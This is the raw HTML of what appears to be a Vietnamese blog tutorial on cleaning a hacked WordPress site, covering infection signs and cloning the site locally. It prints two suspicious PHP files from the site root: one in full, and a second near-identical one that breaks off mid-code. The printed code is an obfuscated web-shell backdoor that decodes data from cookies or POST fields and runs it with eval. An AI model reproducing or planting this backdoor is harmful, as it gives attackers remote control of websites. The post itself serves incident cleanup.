url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAECA//EABcBAAMBAAAAAAAAAAAAAAAAAAABBAX/2gAMAwEAAhADEAAAAeDNm0oB/wD/xAAVEAEBAAAAAAAAAAAAAAAAAAAgQf/aAAgBAQABBQKH/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQAGPwJf/8QAGhABAAEFAAAAAAAAAAAAAAAAEQEAICExYf/aAAgBAQABPyGCRhd0dt//2gAMAwEAAgADAAAAEK/P/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAEDAQE/EIV//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGxABAAICAwAAAAAAAAAAAAAAAQARECExUdH/2gAIAQEAAT8QKKDZZ3XUScDFwUfcf//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Google đã đánh dấu trang web của bạn bị nhiễm mã độc" title="Google đã đánh dấu trang web của bạn bị nhiễm mã độc" src="/static/05df65fa962328eec97ce15f96b76eb5/95cb2/harmfulprogramserror.jpg" srcset="/static/05df65fa962328eec97ce15f96b76eb5/e4e7a/harmfulprogramserror.jpg 165w, /static/05df65fa962328eec97ce15f96b76eb5/4f5c6/harmfulprogramserror.jpg 330w, /static/05df65fa962328eec97ce15f96b76eb5/95cb2/harmfulprogramserror.jpg 520w" sizes="(max-width: 520px) 100vw, 520px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Lúc này, Google đã đánh dấu trang web của bạn bị nhiễm mã độc và không an toàn.</p> <p>Trên đây là một số dấu hiệu cho thấy website bị dính Malware. Vậy khi đó mình phải làm sao để làm sạch website Wordpress?</p> <h2 id="các-bước-làm-sạch-website-wordpress" style="position:relative;"><a href="#c%C3%A1c-b%C6%B0%E1%BB%9Bc-l%C3%A0m-s%E1%BA%A1ch-website-wordpress" aria-label="các bước làm sạch website wordpress permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các bước làm sạch website Wordpress</h2> <p>Trong trường hợp, website của bạn được backup thường xuyên thì công việc rất đơn giản. Bạn chỉ cần cài đặt lại phiên bản gần nhất mà website vẫn còn sạch sẽ là ổn.</p> <p>Nhưng tiếc là đời không như mơ, mình khá lười trong việc backup dữ liệu. Thường thì khoảng 1 đến 2 tháng mình mới sao lưu dữ liệu một lần. Nên nếu làm theo cách trên, đồng nghĩa với việc mình bị mất một lượng khá lớn các bài viết, bình luận, đánh giá của bạn đọc,... Chính vì vậy, mình đã quyết định tìm ra Malware, xóa bỏ chúng khỏi trang web và dĩ nhiên là không làm mất bất kỳ dữ liệu nào. Và sau đây là các bước mình đã thực hiện để làm sạch website Wordpress của mình.</p> <h3 id="clone-trang-web-và-cài-đặt-trên-local" style="position:relative;"><a href="#clone-trang-web-v%C3%A0-c%C3%A0i-%C4%91%E1%BA%B7t-tr%C3%AAn-local" aria-label="clone trang web và cài đặt trên local permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Clone trang web và cài đặt trên Local</h3> <p>Đúng vậy, đây là điều mình đã làm với hai mục đích:</p> <ul> <li>Dừng hoạt động của trang web, tránh trường hợp người dùng bị ảnh hưởng bởi mã độc.</li> <li>Cài đặt trang web trên local để dễ dàng sửa lỗi hơn.</li> </ul> <p>Bạn có thể thực hiện <a href="https://thachpham.com/wordpress/wordpress-tutorials/cach-backup-du-lieu-thu-cong.html">backup (sao lưu) dữ liệu Wordpress thủ công</a> và sau đó <a href="https://thachpham.com/wordpress/wordpress-tutorials/cach-restore-du-lieu-thu-cong.html">restore (phục hồi) dữ liệu Wordpress thủ công</a>.</p> <p>Còn mình thì sẽ sử dụng plugin <a href="https://wordpress.org/plugins/duplicator/">Duplicator</a> cho đơn giản. Cách thực hiện bạn có thể tham khảo bài viết này: <a href="https://www.wpbasics.org/2015/07/06/how-to-copy-a-live-wordpress-site-to-a-local-host-duplicator/">How to copy a live WordPress site to a local host | Duplicator</a></p> <p><em>Tiếng anh của mình cũng đủ dùng thôi, nhưng nếu có phần nào chưa rõ thì bạn cứ để lại câu hỏi ở phần bình luận phía dưới, mình sẽ cố gắng giải đáp.</em></p> <p>Sau khi cài đặt website Wordpress trên localhost xong, giả sử mình cài đặt nó tại địa chỉ: <strong>C:\xampp\htdocs\completejavascript_hacked</strong>.</p> <p>Bây giờ, bắt đầu tiến hành việc làm sạch website Wordpress thôi nào!</p> <h3 id="tìm-và-xóa-những-file-lạ" style="position:relative;"><a href="#t%C3%ACm-v%C3%A0-x%C3%B3a-nh%E1%BB%AFng-file-l%E1%BA%A1" aria-label="tìm và xóa những file lạ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm và xóa những file lạ</h3> <p>Bước đầu tiên để làm sạch website Wordpress là tìm kiếm và xóa những file lạ. Công việc này có thể thực hiện được bằng mắt thường. Trong trường hợp của mình, mình phát hiện có 2 file lạ ngay tại thư mục gốc là:</p> <div class="gatsby-code-title gatsby-remark-code-title">2mh7nzt3.php</div> <div class="gatsby-highlight" data-language="php"><pre class="language-php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token variable">$wjqja</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'lpxe2yHu*t#v4-6nd_10a73im9gkcfro\'sb'</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span> <span class="token operator">=</span> <span class="token keyword">Array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">25</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">34</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">31</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">31</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">34</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">24</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">26</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">33</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">30</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">27</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$_COOKIE</span><span class="token punctuation">,</span> <span class="token variable">$_POST</span><span class="token punctuation">)</span> <span class="token keyword">as</span> <span class="token variable">$xhkmij</span> <span class="token operator">=></span> <span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">function</span> <span class="token function-definition function">fnkka</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$xhkmij</span><span class="token punctuation">,</span> <span class="token variable">$eixvz</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">return</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$xhkmij</span> <span class="token operator">.</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token variable">$eixvz</span> <span class="token operator">/</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$xhkmij</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token variable">$eixvz</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">function</span> <span class="token function-definition function">ndvxy</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token keyword">return</span> @<span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">function</span> <span class="token function-definition function">mgcvx</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$rtduq</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token variable">$bnqfa</span> <span class="token operator">=</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">3</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$bnqfa</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$rtduq</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token variable">$onsbeqz</span> <span class="token operator">=</span> <span class="token function">ndvxy</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">mgcvx</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$onsbeqz</span> <span class="token operator">^</span> <span class="token function">fnkka</span><span class="token punctuation">(</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">,</span> <span class="token variable">$xhkmij</span><span class="token punctuation">,</span> <span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$onsbeqz</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></span></code></pre></div> <p>Và:</p> <div class="gatsby-code-title gatsby-remark-code-title">n58afvih.php</div> <div class="gatsby-highlight" data-language="php"><pre class="language-php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token variable">$wjqja</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'lpxe2yHu*t#v4-6nd_10a73im9gkcfro\'sb'</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span> <span class="token operator">=</span> <span class="token keyword">Array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$ghxqjoz</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">25</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">20</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">34</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">22</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">19</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">16</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">29</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token variable">$wjqja</span><span class="token punctuation">[</span><span class="token number">28</span><span class="token punctuation">]</span><span class="token operator">.</span><span 